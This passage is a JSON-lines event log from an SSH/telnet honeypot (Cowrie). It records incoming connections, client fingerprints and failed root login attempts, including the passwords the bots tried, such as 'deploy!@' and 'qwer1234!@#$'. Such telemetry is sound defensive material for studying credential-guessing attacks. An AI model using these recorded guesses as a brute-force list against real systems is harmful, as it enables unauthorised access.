f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:56.576765Z","src_ip":"185.40.30.168","session":"a6f48e6be444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"65432!","message":"login attempt [root/65432!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:57.164972Z","src_ip":"185.40.30.168","session":"a6f48e6be444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:30:58.299328Z","src_ip":"185.40.30.168","session":"a6f48e6be444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":59550,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae577fe3532","protocol":"ssh","message":"New connection: 69.49.246.176:59550 (159.203.135.109:22) [session: 1ae577fe3532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:02.969328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:02.975055Z","src_ip":"69.49.246.176","session":"1ae577fe3532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:03.006280Z","src_ip":"69.49.246.176","session":"1ae577fe3532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy!@","message":"login attempt [root/deploy!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:03.150699Z","src_ip":"69.49.246.176","session":"1ae577fe3532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39476,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1adbe83918","protocol":"ssh","message":"New connection: 103.122.221.179:39476 (159.203.135.109:22) [session: 7b1adbe83918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:03.784307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:03.789634Z","src_ip":"103.122.221.179","session":"7b1adbe83918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:04.028703Z","src_ip":"103.122.221.179","session":"7b1adbe83918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:04.184637Z","src_ip":"69.49.246.176","session":"1ae577fe3532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987123","message":"login attempt [root/987123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:04.745957Z","src_ip":"103.122.221.179","session":"7b1adbe83918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:05.988776Z","src_ip":"103.122.221.179","session":"7b1adbe83918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":40346,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6d629ca1a9","protocol":"ssh","message":"New connection: 103.243.24.124:40346 (10.17.0.5:22) [session: cd6d629ca1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:06.910326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:06.915033Z","src_ip":"103.243.24.124","session":"cd6d629ca1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:07.119691Z","src_ip":"103.243.24.124","session":"cd6d629ca1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123mudar","message":"login attempt [root/123mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:07.531028Z","src_ip":"103.243.24.124","session":"cd6d629ca1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.48.76.189","src_port":56652,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c9cd5048f69","protocol":"telnet","message":"New connection: 190.48.76.189:56652 (159.203.135.109:23) [session: 4c9cd5048f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:07.757432Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:08.738065Z","src_ip":"103.243.24.124","session":"cd6d629ca1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":55994,"dst_ip":"159.203.135.109","dst_port":22,"session":"66cdafb6af7f","protocol":"ssh","message":"New connection: 103.173.227.57:55994 (159.203.135.109:22) [session: 66cdafb6af7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.492366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.497267Z","src_ip":"103.173.227.57","session":"66cdafb6af7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":40664,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf5659e5e96b","protocol":"ssh","message":"New connection: 154.70.102.114:40664 (10.17.0.5:22) [session: bf5659e5e96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.691611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.696620Z","src_ip":"154.70.102.114","session":"bf5659e5e96b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.731682Z","src_ip":"103.173.227.57","session":"66cdafb6af7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:16.896417Z","src_ip":"154.70.102.114","session":"bf5659e5e96b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mozart","message":"login attempt [root/mozart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:17.435075Z","src_ip":"103.173.227.57","session":"66cdafb6af7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234!@#$","message":"login attempt [root/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:17.724060Z","src_ip":"154.70.102.114","session":"bf5659e5e96b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:18.671646Z","src_ip":"103.173.227.57","session":"66cdafb6af7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:18.926053Z","src_ip":"154.70.102.114","session":"bf5659e5e96b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":60172,"dst_ip":"10.17.0.5","dst_port":22,"session":"47bcd8fba13a","protocol":"ssh","message":"New connection: 168.144.95.137:60172 (10.17.0.5:22) [session: 47bcd8fba13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:19.055353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:19.059937Z","src_ip":"168.144.95.137","session":"47bcd8fba13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:19.268286Z","src_ip":"168.144.95.137","session":"47bcd8fba13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2088","message":"login attempt [root/2088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:20.132524Z","src_ip":"168.144.95.137","session":"47bcd8fba13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.353569269180298,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:21.110883Z","src_ip":"190.48.76.189","session":"4c9cd5048f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:21.364097Z","src_ip":"168.144.95.137","session":"47bcd8fba13a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53892,"dst_ip":"10.17.0.5","dst_port":22,"session":"b833f18d316b","protocol":"ssh","message":"New connection: 103.153.68.219:53892 (10.17.0.5:22) [session: b833f18d316b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:21.516201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:21.520438Z","src_ip":"103.153.68.219","session":"b833f18d316b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:21.766963Z","src_ip":"103.153.68.219","session":"b833f18d316b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhjrjlbk","message":"login attempt [root/rhjrjlbk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:22.508493Z","src_ip":"103.153.68.219","session":"b833f18d316b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:23.762103Z","src_ip":"103.153.68.219","session":"b833f18d316b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":33888,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a0e5a313ff","protocol":"ssh","message":"New connection: 43.128.106.207:33888 (159.203.135.109:22) [session: 59a0e5a313ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:50.424805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:50.429539Z","src_ip":"43.128.106.207","session":"59a0e5a313ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:50.666036Z","src_ip":"43.128.106.207","session":"59a0e5a313ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"75eade790dbd","protocol":"ssh","message":"New connection: 154.70.102.114:50874 (10.17.0.5:22) [session: 75eade790dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:50.840908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:31:50.845773Z","src_ip":"154.70.102.114","session":"75eade790dbd","protocol":"ssh"}
